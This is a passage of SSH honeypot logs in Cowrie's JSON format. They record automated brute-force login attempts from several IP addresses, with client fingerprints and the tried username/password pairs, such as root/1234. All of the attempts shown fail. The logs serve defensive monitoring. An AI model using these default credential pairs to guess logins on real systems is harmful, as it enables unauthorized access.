0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:08.903675Z","src_ip":"176.65.139.95","session":"576e6d4325d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51276,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9b259ea9b3e","protocol":"ssh","message":"New connection: 192.109.200.78:51276 (159.203.135.109:22) [session: f9b259ea9b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:09.217432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:09.221649Z","src_ip":"192.109.200.78","session":"f9b259ea9b3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:09.271014Z","src_ip":"176.65.139.95","session":"576e6d4325d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:09.305753Z","src_ip":"192.109.200.78","session":"f9b259ea9b3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:09.558980Z","src_ip":"192.109.200.78","session":"f9b259ea9b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:10.363425Z","src_ip":"176.65.139.95","session":"576e6d4325d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:10.645299Z","src_ip":"192.109.200.78","session":"f9b259ea9b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51288,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc45f7f13228","protocol":"ssh","message":"New connection: 192.109.200.78:51288 (159.203.135.109:22) [session: fc45f7f13228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:13.542135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:13.546890Z","src_ip":"192.109.200.78","session":"fc45f7f13228","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:13.630807Z","src_ip":"192.109.200.78","session":"fc45f7f13228","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:13.880571Z","src_ip":"192.109.200.78","session":"fc45f7f13228","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:14.966086Z","src_ip":"192.109.200.78","session":"fc45f7f13228","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55348,"dst_ip":"159.203.135.109","dst_port":22,"session":"32c21bd3752e","protocol":"ssh","message":"New connection: 176.65.139.95:55348 (159.203.135.109:22) [session: 32c21bd3752e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:15.256052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:15.272950Z","src_ip":"176.65.139.95","session":"32c21bd3752e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:15.382392Z","src_ip":"176.65.139.95","session":"32c21bd3752e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:15.697859Z","src_ip":"176.65.139.95","session":"32c21bd3752e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45086,"dst_ip":"159.203.135.109","dst_port":22,"session":"92bd86aaad99","protocol":"ssh","message":"New connection: 159.203.92.129:45086 (159.203.135.109:22) [session: 92bd86aaad99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:16.398461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:16.405342Z","src_ip":"159.203.92.129","session":"92bd86aaad99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:16.417175Z","src_ip":"159.203.92.129","session":"92bd86aaad99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"PMS","password":"PMS123","message":"login attempt [PMS/PMS123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:16.455245Z","src_ip":"159.203.92.129","session":"92bd86aaad99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:16.840746Z","src_ip":"176.65.139.95","session":"32c21bd3752e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:17.464637Z","src_ip":"159.203.92.129","session":"92bd86aaad99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51292,"dst_ip":"159.203.135.109","dst_port":22,"session":"16ead09a7124","protocol":"ssh","message":"New connection: 192.109.200.78:51292 (159.203.135.109:22) [session: 16ead09a7124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:17.739940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:17.745450Z","src_ip":"192.109.200.78","session":"16ead09a7124","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:17.835061Z","src_ip":"192.109.200.78","session":"16ead09a7124","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pg","password":"pg","message":"login attempt [pg/pg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:18.126176Z","src_ip":"192.109.200.78","session":"16ead09a7124","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:19.216348Z","src_ip":"192.109.200.78","session":"16ead09a7124","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.054256439208984,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:20.322355Z","src_ip":"103.92.40.117","session":"815643a92c54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53296,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a17d2e370e4","protocol":"ssh","message":"New connection: 176.65.139.95:53296 (159.203.135.109:22) [session: 4a17d2e370e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:21.898371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:21.910193Z","src_ip":"176.65.139.95","session":"4a17d2e370e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59054,"dst_ip":"159.203.135.109","dst_port":22,"session":"109e3837ab83","protocol":"ssh","message":"New connection: 192.109.200.78:59054 (159.203.135.109:22) [session: 109e3837ab83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:21.969376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:21.974730Z","src_ip":"192.109.200.78","session":"109e3837ab83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:21.990782Z","src_ip":"176.65.139.95","session":"4a17d2e370e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:22.059336Z","src_ip":"192.109.200.78","session":"109e3837ab83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:22.320693Z","src_ip":"192.109.200.78","session":"109e3837ab83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:22.478928Z","src_ip":"176.65.139.95","session":"4a17d2e370e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":54877,"dst_ip":"10.17.0.5","dst_port":22,"session":"491c2868f882","protocol":"ssh","message":"New connection: 177.54.62.66:54877 (10.17.0.5:22) [session: 491c2868f882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:23.441725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:23.446754Z","src_ip":"177.54.62.66","session":"491c2868f882","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:23.471220Z","src_ip":"192.109.200.78","session":"109e3837ab83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:23.565066Z","src_ip":"176.65.139.95","session":"4a17d2e370e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:23.577320Z","src_ip":"177.54.62.66","session":"491c2868f882","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"root","message":"login attempt [devops/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:24.134432Z","src_ip":"177.54.62.66","session":"491c2868f882","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:25.268960Z","src_ip":"177.54.62.66","session":"491c2868f882","protocol":"ssh"}
